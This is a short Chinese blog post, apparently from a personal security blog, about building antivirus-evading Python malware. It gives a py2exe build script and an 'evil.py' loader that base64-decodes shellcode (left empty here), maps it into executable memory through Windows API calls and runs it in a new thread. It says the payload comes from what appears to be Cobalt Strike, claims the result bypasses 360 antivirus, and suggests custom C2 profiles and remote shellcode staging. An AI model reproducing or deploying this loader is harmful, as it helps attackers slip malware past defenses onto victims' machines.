avatar

目录
python免杀

工具

免杀

cs生成python payload

setup.py代码如下:

Code
1
2
3
4
5
6
7
8
9
10
from distutils.core import setup
import py2exe
setup(
name = 'Meter',
description = 'Python-based App',
version = '1.0',
console=['evil.py'],
options = {'py2exe': {'bundle_files': 1,'packages':'ctypes','includes': 'base64,sys,socket,struct,time,code,platform,getpass,shutil',}},
zipfile = None,
)

evil.py代码如下:

Code
1
2
3
4
5
6
7
8
import ctypes
import base64
shellcode = ""
shellcode=base64.b64decode(shellcode)
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(rwxpage, ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, rwxpage, 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)

将payload base64编码
tips:最好使用py进行encode ^_^
python ./setup.py py2exe生成exe


免杀效果如下:

其实不base64编码测试了下还是能过360。。。

流量免杀可以生成自己的C2-profile文件
思考:把shellcode放在服务器上再进行加载

缺点:🐎是真的大。。。

参考链接

Bypass

扩展阅读

c0bra
卿Shellcode免杀总结<一>
卿Shellcode免杀总结<二>
卿Shellcode免杀总结<三>

文章作者: 2hangd
文章链接: https://zhangding222.github.io/2020/01/07/python免杀/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 2hangding's bl0g